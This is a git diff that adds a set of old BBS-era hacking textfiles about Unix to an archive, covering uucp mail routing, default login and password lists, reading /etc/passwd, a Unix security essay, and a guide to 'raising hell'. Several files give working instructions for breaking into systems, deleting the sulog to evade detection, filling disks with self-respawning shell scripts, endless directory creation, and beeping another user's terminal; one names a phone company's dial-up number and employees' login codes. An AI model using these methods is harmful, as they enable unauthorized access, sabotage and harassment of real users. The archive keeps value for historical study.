system. This method works by executing the +rmail command (Receive Mail), the syntax of which is "rmail [user]", and +redirecting its input from the file you sent to the remote. This method will +only work if the remote allows users from your local system to execut the rmail +command. + The second method is for systems which feature the remote shell (rsh) +command. If the remote system can be contacted by your local system via rsh, +type: + +rsh system!mail [user] + +And once connected, enter your message as normal. + This last method is the method of sending mail over uucp networks. This +method is the one employed by USENET and other large uucp networks, as well as +many smaller and/or private networks. This method uses the simple mail command: + +mail system!system!system![and so on to infinity]!system@user + +Where: +The list of systems is the routing to the target system, and user is the mail +recipient on the target system. The routing takes a bit of explanation. Imagine +something a uucp network with connections like this: + + unix1 + | + ------------------- + | | + unix2 unix3 + | | + unix4-------------unix5 + +This network map shows what systems are on the network, and which systems have +entries for which other systems in its Systems (L.sys) file. In this example: + +Unix1 has entries for unix2 and unix3. +Unix2 has entries for unix1 and unix4. +Unix3 has entries for unix1 and unix5. +Unix4 has entries for unix2 and unix5. +Unix5 has entries for unix3 and unix4. + +Now to explain the routing. If unix1 wanted to reach unix5, it couldn't do so +directly, since it has no means of reaching it (no entry for it in its Systems +file). So, it would "forward" the mail through a series of other systems. For +example, to send mail to the user root on unix5, any of these routings could be +used: + +unix3!unix5@root +unix2!unix4!unix5@root + +Obviously, the first routing would be the shortest and quickest. So, to mail a +message from unix1 to the root user on unix5, you would type: + +mail unix3!unix5@root + +Then type in your message and press control-D when finished, and the uucp +facilities will deliver your mail. + +ACKNOWLEDGEMENTS +---------------- + Well, this is it- the end of the file. I hope you've found it +informative and helpful. Before I go on, I'd like to thank a few people whose +assistance made writing this file either A: possible or B: easier- + +Shadow Hawke I, for sharing many a Unix account with me. +The Warrior (of 312), for helping me get started in hacking. +Omega-- for helping me hack a large network of Unix systems. +Psychedelic Warlord, for helping me with a BSD Unix system. +Shooting Shark, for his C decoy, and more than a few good posts on Private +Sector. +Kid&Co, for providing me with some information on the Telnet program. +And lastly but not leastly, Bellcore, Southern Bell, and BOC's around the +country for the use of their systems. Thanks, all! + + \ No newline at end of file diff --git a/textfiles.com/hacking/UNIX/unixhak1.hac b/textfiles.com/hacking/UNIX/unixhak1.hac new file mode 100644 index 00000000..30c5a1a9 --- /dev/null +++ b/textfiles.com/hacking/UNIX/unixhak1.hac @@ -0,0 +1,186 @@ +*> Title: Tutorial on hacking through a UNIX system + + +** + +In the following file, all references +made to the name Unix, may also be +substituted to the Xenix operating +system. + +Brief history: Back in the early +sixties, during the development of +third generation computers at MIT, +a group of programmers studying the +potential of computers, discovered +their ability of performing two or +more tasks simultaneously. Bell +Labs, taking notice of this discovery, +provided funds for their developmental +scientists to investigate into this +new frontier. After about 2 years of +developmental research, they produced +an operating system they called "Unix". + +Sixties to Current: During this time +Bell Systems installed the Unix system +to provide their computer operators +with the ability to multitask so that +they could become more productive, +and efficient. One of the systems they +put on the Unix system was called +"Elmos". Through Elmos many tasks (i.e. +billing,and installation records) could +be done by many people using the same +mainframe. + +Note: Cosmos is accessed through the +Elmos system. + +Current: Today, with the development +of micro computers, such multitasking +can be achieved by a scaled down +version of Unix (but just as +powerful). Microsoft,seeing this +development, opted to develop their own +Unix like system for the IBM line of +PC/XT's. Their result they called +Xenix (pronounced zee-nicks). Both +Unix and Xenix can be easily installed +on IBM PC's and offer the same function +(just 2 different vendors). + +Note: Due to the many different +versions of Unix (Berkley Unix, +Bell System III, and System V +the most popular) many commands +following may/may not work. I have +written them in System V routines. +Unix/Xenix operating systems will +be considered identical systems below. + +How to tell if/if not you are on a +Unix system: Unix systems are quite +common systems across the country. +Their security appears as such: + +Login; (or login;) +password: + +When hacking on a Unix system it is +best to use lowercase because the Unix +system commands are all done in lower- +case. +Login; is a 1-8 character field. It is +usually the name (i.e. joe or fred) +of the user, or initials (i.e. j.jones +or f.wilson). Hints for login names +can be found trashing the location of +the dial-up (use your CN/A to find +where the computer is). +Password: is a 1-8 character password +assigned by the sysop or chosen by the +user. + Common default logins + -------------------------- + login; Password: + root root,system,etc.. + sys sys,system + daemon daemon + uucp uucp + tty tty + test test + unix unix + bin bin + adm adm + who who + learn learn + uuhost uuhost + nuucp nuucp + +If you guess a login name and you are +not asked for a password, and have +accessed to the system, then you have +what is known as a non-gifted account. +If you guess a correct login and pass- +word, then you have a user account. +And, if you get the root p/w you have +a "super-user" account. +All Unix systems have the following +installed to their system: +root, sys, bin, daemon, uucp, adm +Once you are in the system, you will +get a prompt. Common prompts are: + +$ +% +# + +But can be just about anything the +sysop or user wants it to be. + +Things to do when you are in: Some +of the commands that you may want to +try follow below: + +who is on (shows who is currently + logged on the system.) +write name (name is the person you + wish to chat with) + To exit chat mode try ctrl-D. + EOT=End of Transfer. +ls -a (list all files in current + directory.) +du -a (checks amount of memory + your files use;disk usage) +cd\name (name is the name of the + sub-directory you choose) +cd\ (brings your home directory + to current use) +cat name (name is a filename either + a program or documentation + your username has written) + Most Unix programs are written + in the C language or Pascal + since Unix is a programmers' + environment. +One of the first things done on the +system is print up or capture (in a +buffer) the file containing all user +names and accounts. This can be done +by doing the following command: + +cat /etc/passwd + +If you are successful you will see a list +of all accounts on the system. It +should look like this: + +root:hvnsdcf:0:0:root dir:/: +joe:majdnfd:1:1:Joe Cool:/bin:/bin/joe +hal::1:2:Hal Smith:/bin:/bin/hal + +Te "root" line tells the following +info : +login name=root +hvnsdcf = encrypted password +0 = user group number +0 = user number +root dir = name of user +/ = root directory + +In the Joe login, the last part +"/bin/joe " tells us which directory +is his home directory (joe) is. + +In the "hal" example the login name is +followed by 2 colons, that means that +there is no password needed to get in +using his name. + +Conclusion: I hope that this file +will help other novice Unix hackers +obtain access to the Unix/Xenix +systems that they may find. + +Downloaded From P-80 Systems 304-744-2253 diff --git a/textfiles.com/hacking/UNIX/unixhak2.hac b/textfiles.com/hacking/UNIX/unixhak2.hac new file mode 100644 index 00000000..e389e8f4 --- /dev/null +++ b/textfiles.com/hacking/UNIX/unixhak2.hac @@ -0,0 +1,382 @@ + + + On the Security of UNIX + + =-=-=-=-=-=-=-=-=-=-=-= + +Recently there has been much interest in the security aspects of operating + +systems and software.At issue is the ability to prevent undesired disclosure of + +information, destruction of information,and harm to the functioning of the + +system.This paper discusses the degree of security which can be provided under + +the system and offers a number of hints on how to improve security.The first + +fact to face is that UNIX was not developed with security,in any realistic + +sense,in mind;this fact alone guarantees a vast number of holes.(Actually the + +same statement can be made with respect to most systems.) + + + +The area of security in which is theoretically weakest is in protecting against + +crashing or at least crippling the operation of the system.The problem here is + +not mainly in uncritical acceptance of bad parameters to system calls (there + +may be bugs in this area, but none are known)but rather in lack of checks for + +excessive consumption of resources. + + + +Most notably, there is no limit on the amount of disk storage used, either in + +total space allocated or in the number of files or directories.Here is a + +particularly ghastly shell sequence guaranteed to stop the system: + + + + + +while : ; do + + mkdir x + + cd x + +done + + + +Either a panic will occur because all the i-nodes on the device are used up, + +or all the disk blocks will be consumed, thus preventing anyone from writing + +files on the device.In this version of the system,users are prevented from + +creating more than a set number of processes simultaneously,so unless users + +are in collusion it is unlikely that any one can stop the system altogether. + + + +However, creation of 20 or so CPU or disk-bound jobs leaves few resources + +available for others.Also, if many large jobs are run simultaneously,swap space + +may run out, causing a panic. It should be evident that excessive consumption + +of diskspace, files, swap space and processes can easily occur accidentally in + +malfunctioning programs as well as at command level.In fact UNIX is essentially + +defenseless against this kind of abuse,nor is there any easy fix.The best that + +can be said is that it is generally fairly easy to detect what has happened + +when disaster strikes ,to identify the user responsible, and take appropriate + +action.In practice,we have found that difficulties in this area are rather + +rare,but we have not been faced with malicious users,and enjoy a fairly + +generous supply of resources which have served to cushion us against accidental + +overconsumption. + + + +The picture is considerably brighter in the area of protection of information + +from unauthorized perusal and destruction.Here the degree of security seems + +(almost) adequate theoretically, and the problems lie more in the necessity for + +care in the actual use of the system.Each UNIX file has associated with it + +eleven bits of protection information together with a user identification + +number and a user-group identification number (UID and GID). + + + +Nine of the protection bits are used to specify independently permission to + +read, to write, and to execute the file to the user himself, to members of the + +user's group, and to all other users.Each process generated by or for a user + +has associated with it an effective UID and a real UID, and an effective and + +real GID.When an attempt is made to access the file for reading, writing, or + +executing UID for the process is changed to the UID associated with the file; + +the change persists until the process terminates or until the UID changed again + +by another execution of a set-UID file.Similarly the effective group ID of a + +process is changed to the GID associated with a file when that file is executed + +and has the set-GID bit set.The real UID and GID of a process do not change + +when any file is executed,but only as the result of a privileged system + +call.The basic notion of the set-UID and set-GID bits is that one may write a + +program which is executableby others and which maintains files accessible to + +others only by that program. + + + +The classical example is the game-playing program which maintains records of + +the scores of its players.The program itself has to read and write the score + +file,but no one but the game's sponsor can be allowed unrestricted access to + +the file lest they manipulate the game to their own advantage. + + + +The solution is to turn on the set-UID bit of the game program. When, and only + +when,it is invoked by players of the game,it may update the score file but + +ordinary programs executed by others cannot access the score. There are a + +number of special cases involved in determining access permissions. Since + +executing a directory as a program is a meaningless operation,the + +execute-permission bit, for directories, is taken instead to mean permission to + +search the directory for a given file during the scanning of a path name; thus + +if a directory has execute permission but no read permission for a given user, + +he may access files with known names in the directory,but may not read (list) + +the entire contents of the directory. + + + +Write permission on a directory is interpreted to mean that the user may create + +and delete files in that directory;it is impossible for any user to write + +directly into any directory..Another, and from the point of view of security, + +much more serious special case is that there is a ``super user'' who is able to + +read any file and write any non-directory.The super-user is also able to change + +the protection mode and the owner UID and GID of any file and to invoke + +privileged system calls.It must be recognized that the mere notion of a + +super-user is a theoretical, and usually practical, blemish on any protection + +scheme. + + + +The first necessity for a secure system is of course arranging that all files + +and directories have the proper protection modes.Traditionally, UNIX software + +has been exceedingly permissive in this regard;essentially all commands create + +files readable and writable by everyone.In the current version,this policy may + +be easily adjusted to suit the needs ofthe installation or the individual user. + + + +Associated with each process and its descendants is a mask, which is in effect + +anded with the mode of every file and directory created by that process. In + +this way, users can arrange that, by default,all their files are no more + +accessible than they wish.The standard mask, set by login,allows all permiss- + +ions to the user himself and to his group,but disallows writing by others. + + + +To maintain both data privacy and data integrity,it is necessary, and largely + +sufficient,to make one's files inaccessible to others. The lack of sufficiency + +could follow from the existence of set-UID programs created by the user and the + +possibility of total breach of system security in one of the ways discussed + +below(or one of the ways not discussed below). + + + +For greater protection,an encryption scheme is available.Since the editor is + +able to create encrypted documents, and the crypt command can be used to pipe + +such documents into the other text-processing programs,the length of time + +during which clear text versions need be available is strictly limited.The + +encryption scheme used is not one of the strongest known, but it is judged + +adequate, in the sense that cryptanalysisis likely to require considerably more + +effort than more direct methods of reading the encrypted files.For example, a + +user who stores data that he regards as truly secret should be aware that he is + +implicitly trusting the system administrator not to install a version of the + +crypt command that stores every typed password in a file. Needless to say, the + +system administrators must be at least as careful as their most demanding user + +to place the correct protection mode on the files under their control. + + + +In particular,it is necessary that special files be protected from writing, and + +probably reading, by ordinary users when they store sensitive files belonging + +to otherusers.It is easy to write programs that examine and change files by + +accessing the device on which the files live. + + + +On the issue of password security,UNIX is probably better than most systems. + +Passwords are stored in an encrypted form which, in the absence of serious + +attention from specialists in the field,appears reasonably secure, provided its + +limitations are understood.In the current version, it is based on a slightl y + +defective version of the Federal DES;it is purposely defective so that + +easily-available hardware is useless for attempts at exhaustive + +key-search.Since both the encryption algorithm and the encrypted passwords are + +available,exhaustive enumeration of potential passwords is still feasible up to + +a point.We have observed that users choose passwords that are easy to + +guess:they are short, or from a limited alphabet, or in a dictionary. + +Passwords should be at least six characters long and randomly chosen from an + +alphabet which includes digits and special characters. + + + +Of course there also exist feasible non-cryptanalytic ways of finding out + +passwords.For example: write a program which types out ``login:''on the + +typewriter and copies whatever is typed to a file of your own. Then invoke the + +command and go away until the victim arrives..The set-UID (set-GID)notion must + +be used carefully if any security is to be maintained. The first thing to keep + +in mind is that a writable set-UID file can have another program copied onto + +it. + + + +For example, if the super-user command is writable,anyone can copy the shell + +onto it and get a password-free version of Shell Unix.A more subtle problem can + +come from set-UID programs which are not sufficiently careful of what is fed + +into them.To take an obsolete example,the previous version of the mail command + +was set-UID and owned by the super-user.This version sent mail to the r + +ecipient's own directory.The notion was that one should be able to send mail to + +anyone even if they want to protecttheir directories from writing. The trouble + +was that mailwas rather dumb:anyone could mail someone else's priva te file to + +himself.Much more seriousis the following scenario: make a file with a line + +like one in the password filewhich allows one to log in as the super-user.Then + +make a link named ``.mail'' to the password file in some writable directory on + +the same device as the password file (say /tmp). Finally mail the bogus login + +line to /tmp/.mail;You can then login as the superuser,clean up the + +incriminating evidence,and have your will. + + + +The fact that users can mount their own disks and tapes as file systems can be + +another way of gaining super-user status.Once a disk pack is mounted, the + +system believes what is on it.Thus one can take a blank disk pack,put on it + +anything desired,and mount it.There are obvious and unfortunate consequences. + +For example:a mounted disk with garbage on it will crash the system;one of the + +files on the mounted disk can easily be a password-free version of Shell Unix; + +other files can be unprotected entries for special files. The only easy fix + +for this problem is to forbid the use of mount to unpriv- ileged users.A + +partial solution, not so restrictive,would be to have the mount command examine + +the special file for bad data,set-UID programs owned by others ,and accessible + +special files,and balk at unprivileged invokers. + + + +Removed from Berkely Unix System by the Terminal Technician with glee.... + +-------------------------------------------------------------------------- + + This file passed through the DEAD ZONE. It is a phun place, and you + +really should call it @ (303) 468-8069. 300/1200/2400, 24 hours, 7 days. + + + +A RING-BACK system: + + Call Once, let ring 1-2 times, HANG UP. + + Call back 20-45 seconds later and the system will answer. + + + + There is no way to connect on the first call, so don't let it ring a + + bunch of times or you'll get an answering machine. + +Downloaded From P-80 Systems 304-744-2253 + diff --git a/textfiles.com/hacking/UNIX/unixhak3.hac b/textfiles.com/hacking/UNIX/unixhak3.hac new file mode 100644 index 00000000..f6df1954 --- /dev/null +++ b/textfiles.com/hacking/UNIX/unixhak3.hac @@ -0,0 +1,160 @@ + + + * Things To Know * + + * About Unix * + + * * + + * typed and uploaded * + + * By * + + * Sir Charles Hansen * + + + + + + The Unix operating system is one of the many operateing systems that the + +telephone companies use along with big businesses. The information that is + +contained in this article came from experimentation on the Northwestern Bell + +computer in Omaha, Ne. The last phone number to the system was: 402-342-1239. + + + + When logging onto the Unix system you must enter the logcode and pass- word + +in lowercase. Most Unix system logcodes contain 3 letters (i.e. some of the + +working ones when I was exper- imenting on the N.B. Unix system were: rld, + +glc, rwd, djr, skm, rrc, chg, wgg, sgs, efo, lcs, jrp, glh, glry, stein. Note: + +Some logcodes have more than 3 letters.) Also, from what I can tell is that the + +logcodes are generated with the persons name, most of the time anyway (i.e. + +Ruth Dempster's log- code is:rld Gary Coe's logcode is:glc Don Romain's logcode + +is:djr Eino Onk- ka's logcode is:efo Note: there are some cases where this is + +not true like: Jeff Stein's logcode is:stein and Bob Dietrich's logcode + +is:rwd) + + + + Passwords are a little tricky but then again some of the people who work for + +the telephone co. are not that smart. An example of this is some people like + +useing there last name for there password or maybe there first, yet another is + +maybe the will use a computer related password like 'floppys' But trying to + +find a password other than there name is a task that most people do not want + +to attempt, even me. To help us in finding the users on line and getting + +users logcodes we need to know a simple command which is 'phone' this is a + +handy little command which allows you to see who is online at that particular + +time and also get there logcodes and business phone numbers. The following + +is an example of a 'phone' listing: + + + +rld Ruth Dempster NPA-XXX-XXXX + +glc Gary Coe NPA-XXX-XXXX + +rwd Bob Dietrich NPA-XXX-XXXX + +djr Don Romain NPA-XXX-XXXX + +skm Sharon Matcha NPA-XXX-XXXX + +chg Chuck Gray NPA-XXX-XXXX + +wgg Gary Giles NPA-XXX-XXXX + +sgs Steve Schlosser NPA-XXX-XXXX + +efo Eino Onkka NPA-XXX-XXXX + +lcs Lin Sletten NPA-XXX-XXXX + +jrp John Piper NPA-XXX-XXXX + +glh Gary Humphrey NPA-XXX-XXXX + +glry Al Ryerson NPA-XXX-XXXX + +stein Jeff Stein NPA-XXX-XXXX + + " " " + + " " " + + " " " + + " " " + + + + From the above listing we have acquired logcodes and the persons name that + +matches the logcode along with there business phone number. + + + + One last little note is that on the Northwestern Bell Unix system is that + +you can type 'mesg n' and it will keep everyone from finding out what you are + +doing, like the operator on duty at that particular time. I do not know if + +this is true on other systems though. + + + + If you would like to know more about the Unix system or hacking a system + +then you should read the hacking files concerning Cosmos, Data General, Vax, + +ect. + + + + This file is written for Blottoland, and M.B.B., it can be used on RACS III, + +W.O.P.R., and Crowley Manor. + +-------------------------------------------------------------------------- + + This file passed through the DEAD ZONE. It is a phun place, and you + +really should call it @ (303) 468-8069. 300/1200/2400, 24 hours, 7 days. + + + +A RING-BACK system: + + Call Once, let ring 1-2 times, HANG UP. + + Call back 20-45 seconds later and the system will answer. + + + + There is no way to connect on the first call, so don't let it ring a + + bunch of times or you'll get an answering machine. + +Downloaded From P-80 Systems 304-744-2253 + diff --git a/textfiles.com/hacking/UNIX/unixhck.hac b/textfiles.com/hacking/UNIX/unixhck.hac new file mode 100644 index 00000000..f5e09461 --- /dev/null +++ b/textfiles.com/hacking/UNIX/unixhck.hac @@ -0,0 +1,94 @@ + + ****> UNIX Hacking Made Easy <**** + Brought to you by Shadow Lord (Shadow) + + + +-Background- + + UNIX is one of the most commonly used systems. Many small businesses and +a few corporations run a UNIX system accessible by modem. Most UNIX systems +run 1200 and 2400 baud modems, but a few of the older ones still use 300. UNIX +is used for programming, mail, and various programs can be run from it. UNIX +has suprisingly low security for such a widely-used system. Most of the +operators leave the default passwords in, even on the accounts in which the +user has no restrictions. This leaves UNIX systems wide open for hacking... + + +-Getting On- + + I suggest using an exchange scanner (such as Code Thief or Fuckin' Hacker) +to find numbers of UNIX systems. When you call, make sure you are not using +ANSI-BBS emulation, UNIX does not support it, so everything will appear as +garbage. Once you connect, hit return a few times and the 'login:' prompt +should come up. UNIX systems are case-sensitive, so make sure you're using +lower-case. After the account name is entered, the 'Password:' prompt will +appear. Passwords are not echoed to the screen. If a correct account and +password are given, you will be given access and some prompt, shown as a $ or # +or some character of that sort will give you the go-ahead. I attempts, others give you unlimited tries. +Bad login attempts are not reported to the system operator, so you can try as +often as you like. + +-Once You're Inside- + + To find out what's in the directory that you're in, type 'ls' (list +files). You can change directories much like you can in MS-DOS, use 'cd' +(change directory) and than the name of the directory you want to go in. The +'ls' command does not specify what names are names of files and what names are +names of directories, but if you try to cd into a file it will tell you that +the directory is not valid. Use the 'rmdir' and 'mkdir' commands to make and +remove directories. 'rm' also removes a file. The 'passwd' commands lets you +change the password on the account that you're on. To find out who else is on, +use the 'who' command. This will display the account name and if they are +logged on locally or they are calling by modem (it will say tty01 or something +to that nature). The 'mail' command works by typing 'mail whoever' and it will +bring up the mail facility. Enter as much text as you like, and hit Cntrl-D to +send the message. The 'wall' (write all) command allows you to broadcast to +everyone logged on at the present time. ASCII uploads of regular or text files +can be used for mail or broadcasts. Try sending a very large program in a +message to the system operator if you'd like to piss him/her off. + The 'cat' (display file) command lets you look at the contents of any file +(format: cat filename). Hit Cntrl-D or escape or Cntrl-C (try them all; it +depends on the system) to abort this process. If you are on the root account, +you can use the 'su' (super-user) command to become the system operator (no +restrictions). The su is obviously ideal. UNIX has a very good help facility +which will give you an additional list of commands, etc. + + +-Useful Information- + + In order to escape detection, go into the usr\adm directory and remove the +file call sulog. This is the system usage logfile, it contains the information +on who has called (like the last callers file on a bbs). Also, if you can get +into the directory called etc you should display the file called passwd. It +contains a list of all of the accounts and their passwords. Bad new, the +accounts that have passwords are encrypted. But as I said before, a lot of +people leave accounts unpassworded or at the default passwords. The format is: +ACCOUNT NAME:password:0:0:description of purpose:/directory +The 0:0 or whatever numbers show up are just some stuff you don't need, they +are restrictions. Lower numbers means higher access pretty much. But if one +account skips right from the account name to the numbers, than it is +unpassworded. + + List Of Common UNIX Accounts + + + root super sa startup shutdown daemon sys bin adm ncrm uucp + nuucp sync lp admin sysadm unix rje guest demo sysbin + sysadmin PCpath asg standard suggest dosadm pcuser ackmail + altos informix r00t css backup gpcnet nobody ingress sysdiag + convert async ingres cron asg sysinfo network dos filepro gpc + +Also try first names (all in lower case), and the name of the company (if you +know it). I have seen all of the above accounts on UNIX systems. root, sa, +super, adm, sysadm, and sysadmin are all high-level accounts. Some of the +accounts are unpassworded, others simply use the account name as the password +(what security!). The general rule is that after you enter account name at the +login: prompt, if the password prompt appears very quickly then the account you +have entered is not valid. If it takes a few seconds, then you've probably hit +a valid account. + + +-Close- + +Downloaded From P-80 Systems 304-744-2253 diff --git a/textfiles.com/hacking/UNIX/unixhell.txt b/textfiles.com/hacking/UNIX/unixhell.txt new file mode 100644 index 00000000..83fd4556 --- /dev/null +++ b/textfiles.com/hacking/UNIX/unixhell.txt @@ -0,0 +1,312 @@ + + + * Data Kult * °²°²°²°²°²°²°²°²° * Kryptic Night * + Lord Logics ²° Raising °² Bounty Hunter + Shadow Walker °² Hell ²° Nacht Habicht + - S M C - ²° with Unix °² - S M C - + Realm of Infinity °²Kryptic Night²° The Viking's Den + (503)629-0814 ²°²°²°²°²°²°²°²°² (408)867-1224 + SMC Home - S M C - Western Dist. + Production # 3 + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +I - Introduction + + This file will describe several ways to cause mischief on a Unix system. +Like the other SMC Productions, I will try to present the information at a +beginners level. However, all levels of hackers should benefit in some way +from the information contained within. And now... on with our show... + + +II - How To Fill a Hard Disk + + There are several ways to cause havoc by filling up a systems hard +disk. Filling up a hard disk will make it so that the system cannot create +the temporary files vital to it's efficient use. It will also cause other +problems, such as a person trying to save a 10 page financial report, and +finding that there is no room for it. Also, if the HD is full, the system +will not run properly. You will be bombarded by a continuous stream of +'write failed, file system is full'. Over all, this is a very good way to +piss people off. + + Step One + Create the following file with the 'ed [filename]' utility under the +bourne shell, or the 'edit [filename]' under the C shell. The filename can +be whatever you want, here I will call it 'hah1'. Only type in what is +contained within '[]'s, the other text is what the system will send to +you. + +$[ed hah1] +0 +*[a] +[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] +[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] +[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] +[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] +[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] +[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] +[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] +[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] +[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] +[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] +[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] +[nohup hah1 &] +[^C] +*[w] +754 +*[q] +$[chmod +r+w+x hah1] +$[nohup hah1 &] +1234 +$ + + This will create a file called '-fucku!'. Files beginning with a '-' +are very difficult to delete, as when you try to do a 'rm -fucku!' + It interprets the '-f' as an option, it tries then +to force delete the file 'ucku!'. As you can imagine.... this wouldn't +quite work. The text after the echo can be anything you wish, I just +used a sample text that is quite pointless and takes up space. The numbers +represent the file size, and process number, they will be different on +your system. + The file will add the text from the echo statement to the file '-fucku!' +until it reaches the 'hah1 &' command, which will make it start over again. +This is an endless loop. For as long as you are on-line, and their are +processes left, the file will continue to add to the file. This is a +very slow method, but it's easy if you are starting from scratch. If +you get a message such as 'cannot fork hah1: process terminated' that means +that the loop is taking up so much memory that the system can no longer +continue with that job. Don't worry, it will settle back to normal after all +the processes are eventually killed, if it does, continue to run the file +in the background until you have a '-fucku!' file that is about 100-200k +long, this will allow us to progress to our next step. + + The command 'nohup hah1 &' tells unix to continue to run the 'hah1' +in the background, even after you hangup. This means you can run the +program, hang up, and call back. This function will only work under +the bourne shell. If you have a prompt of '$', then you are using the +bourne shell. This function will become exceedingly useful when we +start with the next step. + + The command 'chmod +r+w+x hah1' will make the file readable, writable, and +executable by you. This string may or may not be necessary on the system you +are using. If you get a message such as 'hah1: Permission Denied' than you +will need to use the chmod command. And now onto the next step... + + + Step Two + We will now explore the ever powerful 'cat' command. The 'cat' command +is the equivalent of the MS-DOS 'type' command. We will use a function +of the unix system called redirection that will allow us to 'cat' files +into each other. This will cause the source file to be copied to the end +of the destination file, I'm sure you're beginning to see the mischief +you can cause with this. + To begin with, create a file called '-fucku2' the same way you created +the '-fucku!' file. Try to run the 'hah1' program until the new 'fucku2' +file is around 100-200k also. This isn't absolutely necessary, but it's +helpful and saves some time. + Next, create the following file with the editor <'ed' or 'edit'>. +I will call it 'hah2', but you may call it whatever you wish. + +$[ed hah2] +0 +*[a] +[cat -fucku! >> -fucku2] +[cat -fucku2 >> -fucku!] +[no +hup hah2 &] +[^C] +*[w] +61 +*[q] +$[chmod +r+w+x hah2] +$[nohup hah2 &] +7049 +$ + + What we've just done is create a very short, and very nasty, program +that can fill 20 megs in under 5 minutes. The file when run will add the +contents of '-fucku!' to the end of '-fucku2', and do the reverse. This +means that when you have two files of 100k to begin with, you will get +the following results after every completed loop... + +-fucku! .. -fucku2 .. -fucku! .. -fucku2 + 100k >> 200k >> 300k >> 500k + 700k >> 1200k >> 1900k >> 3100k + + As you can see, the file grows VERY quickly. Set it up in the morning +before school, come back and the HD should be completely full. You may +wish to also run multiple write processes, just to confuse the system. +If you do, rename the files to something appropriate, but maintain the +base content. If you do it in several directories, the sysop will have +to do some serious cleaning to get rid of it. + + Step Three + Sit back and laugh. If you wait awhile, in approximately 30 minutes, +the average 40 meg hard drive will be full. I've tested this method on +several systems, even an ancient VAX, and the results were more or less +the same. The sysop, or any other user, will be able to write anything +onto the system until this problem is resolved. Many programs need +to create temporary files to even operate. These programs are now +completely unusable, except for the few that save to memory. To delete +the files, the sysop will have to do one of several things, all of which +are very unpleasant. And now for the next lesson... + + +III - Mischief + + This section will describe a couple of ways of perpetrating mischief on a +unix system. These ideas are for the most part harmless, but can definitely +piss people off. The idea of a continuous subdir was molded from one +presented by Shooting Shark. + + Idea #1 + This method will create an endless amount of directories under a +the current directory. Create multiple files with different name and +directories to really annoy the 'sop. Type the following to accomplish this. + +$[ed sub1] +0 +*[a] +[mkdir -FuCkU!1] +[chdir -FuCkU!1] +[/xxx/xxx/sub1 &] +[^C] +*[w] +69 +*[q] +$[chmod +r+w+x sub1] +$[nohup sub1 &] +7099 +$ + + This program will create a directory called '-FuCkU!1', change to that +directory, then create another one under the first one, and so forth. It +is an endless loop, and will continue virtually forever. The third line +of the program contains a string '/xxx/xxx/sub1 &'. You will need to fill +in the x's with your current directory. To find out your current directory +type 'pwd' this will print a string telling which directory you are in. +Fill in the x's with this data. The rest of the program you should be able +to figure out by now. Try it, you'll like it. + + + Idea #2 + So, you've seen someone on the system that you really don't like? Or do +you just want to piss someone off? This methods for you. This method will +describe a way to send out data to another user, or terminal. Here is what +you will want to type to create a file to anger the other user. + +$[ed beep] +0 +*[a] +[echo ^G ^G ^G ^G Wheee!!! ^G ^G ^G >> /dev/xxxx] +[nohup beep &] +[^C] +*[w] +25 +*[q] +$[chmod +r+w+x beep] +$[nohup beep &] +8002 +$ + + Fill in the '/dev/xxxx' with the terminal you want to annoy. To find out +the terminal of the person you want to fuck over, type 'who' it will print +out something like this.... + +$[who] +guest ttyd0 Nov 30 19:06 +root console Nov 30 19:20 +Bendover ttyd5 Nov 30 18:45 + +$ + + The first column is the name of the user, the second column tells us +what terminal they are logged on as, and the third states at what time +they logged on. The second column is what we need right now. Fill in the +x's with the terminal that you wish. If you wanted to bother the root, you +would type '/dev/console', to bother guest type '/dev/ttyd0'. To bother +more than one terminal, just add another line after the first 'echo' +statement with a different terminal identifier. With the 'nohup' command, +the computer will send a continuous outpouring of beeps until he logs off +or reboots the system. Try it on the terminal you are logged on under to +see exactly what it does. + + + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +IV - Conclusion + + These projects should be enough to get you started on your road to Unix +Hell. With a little experience you will be able to think of new ideas that +will alloy you access to the systems hidden features and assets. I will +release other files on Unix in the near future, possibly one on basic Unix +hacking, FTP, UUCP netting, or any number of other Unix related concepts. +If you are interested in learning more on Unix, you can contact me on the +systems at the top of the file. Thus concludes one dark Kryptic Night... + + + +V - Bibliography and Suggested Reading + +Unix Use and Security From the Ground Up: by the Prophet in 1986 + This is probably the BEST file I've ever seen on the subject + of Unix. It is written for the beginner, and contains valuable + information for the advanced user. The Prophet became a member + of Lod/H and is currently serving a sentence of 20 months in + relation to the big Lod/H bust of '90. + +Articles on unix trojans and mischief: by Shooting Shark + Shooting Shark presents some interesting information + on various ways to commit havoc on Unix systems. + You can find most of his essays in both Phrack and Lod + magazines. + +Lod/H Tech Journals + The Legion of Doom/Hackers are perhaps the most skilled + and knowledgable hackers in the underground society. + Their 'Tech Journals' describe almost anything you'd ever + want to know about illegal activities. + +Phrack Magazines + Phrack is also one of the best sources for information on + a multitude of subjects, ranging from social engineering, + to carding, to making explosives. For those with free time, + download all of the 32 articles released to date. + + +Creating Users on Unix + This was my second text file release. It tells how to + create new users on a Unix system using the root account. + It is told for beginner and advanced hacker alike. + +VI - Greets + +Heh, Data Kult, when you gettin' Kelsea's phone number? +Bounty Hunter, cool new software, hope you can work out the bugs. +Lord Logics, ega STILL? Come on! Get with it! +Scooter, chill with the 800's +Oolon, get Entropy back up! +Digital Derelict, Jerusalem is nothing.... you're going down... soon + + + + + | + | \ + | /\/\ / ³\ ÄÂÄ + | / \ / ³ \ A ³ A + | / |/| / / \ ³ / ³ / + |/ | < \ 